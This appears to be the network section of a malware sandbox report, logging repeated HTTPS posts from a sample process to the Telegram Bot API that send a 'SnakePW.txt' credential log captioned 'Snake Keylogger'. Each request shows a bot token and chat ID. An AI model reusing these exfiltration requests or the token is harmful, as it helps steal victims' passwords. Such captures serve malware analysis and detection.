Ascii: --------------------------8da57571ba9ab98Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:46 UTC	504	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:46 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:46 UTC	504	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67085,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228886,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.5	50233	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:46 UTC	504	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571be54603 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:46 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 62 65 35 34 36 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571be54603Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:46 UTC	505	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:46 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:46 UTC	506	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67086,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228886,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49771	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:39 UTC	5	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d4fa25d0 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:39 UTC	5	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 34 66 61 32 35 64 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d4fa25d0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:39 UTC	5	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:39 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:39 UTC	6	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 35 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66749,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228759,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49799	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:50 UTC	50	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756db96eb51 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:50 UTC	51	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 62 39 36 65 62 35 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756db96eb51Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:50 UTC	51	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:50 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:50 UTC	51	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66777,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228770,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.5	50234	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:46 UTC	506	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571c1e7e82 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:46 UTC	506	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 63 31 65 37 65 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571c1e7e82Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:47 UTC	507	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:47 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:47 UTC	507	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67087,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228887,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.5	50235	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:47 UTC	508	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571c5a18cc Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:47 UTC	508	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 63 35 61 31 38 63 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571c5a18ccContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:47 UTC	509	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:47 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:47 UTC	509	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67088,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228887,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.5	50236	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:47 UTC	510	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571c935407 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:47 UTC	510	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 63 39 33 35 34 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571c935407Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:47 UTC	510	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:47 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:47 UTC	511	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67089,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228887,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.5	50237	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:47 UTC	511	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571ccc8980 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:47 UTC	512	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 63 63 63 38 39 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571ccc8980Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:48 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:48 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:48 UTC	512	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: 